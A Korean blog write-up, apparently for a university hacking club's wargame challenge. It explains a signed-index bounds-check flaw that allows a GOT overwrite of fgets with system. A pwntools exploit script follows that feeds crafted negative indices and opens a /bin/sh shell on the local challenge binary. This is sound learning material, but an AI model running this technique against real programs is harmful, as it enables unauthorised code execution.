본문 바로가기
시스템 해킹/cykor

2015410208-got overwrite

by sonysame 2018. 1. 2.

2015410208_1




취약점은 v2*v2>1600만 확인하는 부분이다!

그렇다면 음수나 0이어도 상관이 없다는 것이다!


 v2+40*v1+0x804a0a0=count를 이용하자

v1에 0을 넣고 v2에는 원하는 음수 값을 넣으면 got overwrite이 가능하다(count는 v0, v1,에 0을 넣는 것을 반복하여 원하는 count를 만들어줄 수 있다.)


system이 주어졌으므로, 


fgets의 got<-system의 plt를 넣어준다.

그리고 name에 /bin/sh를 입력하여 overwrite된 system의 인자로 /bin/sh가 들어가게 한다.


count를 맞춰주기 위해 익스에서 반복문을 이용해서 재미있었다


from pwn import *

import time


s=process('./2015410208_1')

time.sleep(0.1)

s.recv(4096)

s.send("/bin/sh"+"\n")

time.sleep(0.1)

s.recv(4096)

s.send("0\n")

s.recv(1024)

s.send("0\n")

time.sleep(0.1)

i=3

while(i<0x86):

time.sleep(0.1)

s.recv(4096)

if(i==0x04):

y=-138

elif(i==0x08):

y=-137

elif(i==0x70):

y=-140

elif(i==0x85):

y=-139

else:

y=0

s.send("0\n")

time.sleep(0.1)

s.recv(1024)

time.sleep(0.1)

s.send(str(y)+'\n')

i=i+1


time.sleep(0.1)

s.recv(4096)

s.send("40\n")

time.sleep(0.1)

s.recv(1024)

time.sleep(0.1)

s.send("41\n")

print s.recv(1024)

print s.recv(1024)

s.interactive()

s.close()




'시스템 해킹 > cykor' 카테고리의 다른 글

rain_dROP-카나리 릭, 메모리 릭  (0) 2018.01.02
derby-카나리 릭  (0) 2018.01.02
daRk_TempLer-read함수의 null  (0) 2017.12.29
catchme-노가다, 스택버퍼오버플로우  (0) 2017.12.29
20121209-메모리 릭, fake ebp  (0) 2017.12.29